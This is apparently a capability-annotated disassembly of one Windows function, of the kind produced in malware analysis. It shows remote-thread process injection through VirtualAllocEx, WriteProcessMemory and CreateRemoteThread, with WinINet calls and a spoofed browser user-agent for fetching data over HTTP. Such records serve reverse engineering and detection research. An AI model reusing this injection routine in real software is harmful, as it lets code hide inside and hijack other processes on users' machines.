Function at 0x401355
Capabilities:
Create thread
Inject thread
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push ebx
xor ebx, ebx
mov eax, 0x4011ec
push esi
push edi
mov dword [ebp - 8], ebx
cmp eax, section..text
jbe 0x4015a7
push 0x538
lea eax, [ebp - 0x550]
push ebx
push eax
call fcn.00402190
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x550], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x54c], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitThread]
mov dword [ebp - 0x548], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x544], eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x540], eax
lea eax, [ebp - 0x53c]
mov edx, str.InternetOpenW
mov esi, eax
add esp, 0xc
mov cl, 0x49
sub edx, esi
mov byte [eax], cl
inc eax
mov cl, byte [edx + eax]
cmp cl, bl
jne 0x4013d3
mov byte [eax], bl
lea eax, [ebp - 0x524]
mov edx, str.InternetOpenUrlW
mov esi, eax
mov cl, 0x49
sub edx, esi
mov byte [eax], cl
inc eax
mov cl, byte [edx + eax]
cmp cl, bl
jne 0x4013f0
mov byte [eax], bl
lea eax, [ebp - 0x50c]
mov edx, str.InternetReadFile
mov esi, eax
mov cl, 0x49
sub edx, esi
mov byte [eax], cl
inc eax
mov cl, byte [edx + eax]
cmp cl, bl
jne 0x40140d
mov byte [eax], bl
lea eax, [ebp - 0x4f4]
mov edx, str.InternetCloseHandle
mov esi, eax
mov cl, 0x49
sub edx, esi
mov byte [eax], cl
inc eax
mov cl, byte [edx + eax]
cmp cl, bl
jne 0x40142a
mov byte [eax], bl
lea eax, [ebp - 0x4dc]
mov edx, str.HttpQueryInfoW
mov esi, eax
mov cl, 0x48
sub edx, esi
mov byte [eax], cl
inc eax
mov cl, byte [edx + eax]
cmp cl, bl
jne 0x401447
mov ecx, str.wininet.dll
lea edx, [ebp - 0x4c4]
mov byte [eax], bl
call fcn.00402200
mov ecx, str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_7.1__Trident_5.0_
lea edx, [ebp - 0x4a4]
call fcn.00402200
mov ecx, dword [ebp + 0xc]
mov edi, 0x1ff
lea edx, [ebp - 0x424]
call fcn.00402230
cmp dword [ebp + 0x10], ebx
je 0x401497
mov dword [ebp - 0x24], 1
cmp dword [ebp + 0x14], ebx
jne 0x40149a
mov dword [ebp - 0x24], ebx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
mov esi, 0x1000
push esi
push 0x538
push ebx
push dword [ebp + 8]
call edi
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x4015a7
push 0x20
push esi
mov dword [ebp - 4], 0x4011ec
sub dword [ebp - 4], 0x401000
push dword [ebp - 4]
push ebx
push dword [ebp + 8]
call edi
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x4015a7
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push dword [ebp - 4]
push section..text
push eax
push dword [ebp + 8]
call edi
test eax, eax
je 0x4015a7
push ebx
mov esi, 0x538
push esi
lea eax, [ebp - 0x550]
push eax
push dword [ebp - 0xc]
push dword [ebp + 8]
call edi
test eax, eax
je 0x4015a7
push ebx
push ebx
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, ebx
je 0x4015a7
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
cmp eax, 0xffffffff
je 0x4015a7
mov dword [ebp - 8], 1
cmp dword [ebp - 0x24], ebx
je 0x4015a7
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
inc eax
call fcn.00402150
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
cmp eax, ebx
je 0x4015a4
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
push esi
lea eax, [ebp - 0x550]
push eax
push dword [ebp - 0xc]
push dword [ebp + 8]
call edi
mov eax, dword [ebp + 0x10]
push ebx
push dword [ebp - 0x10]
push dword [eax]
push dword [ebp - 0x20]
push dword [ebp + 8]
call edi
jmp 0x4015a7
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret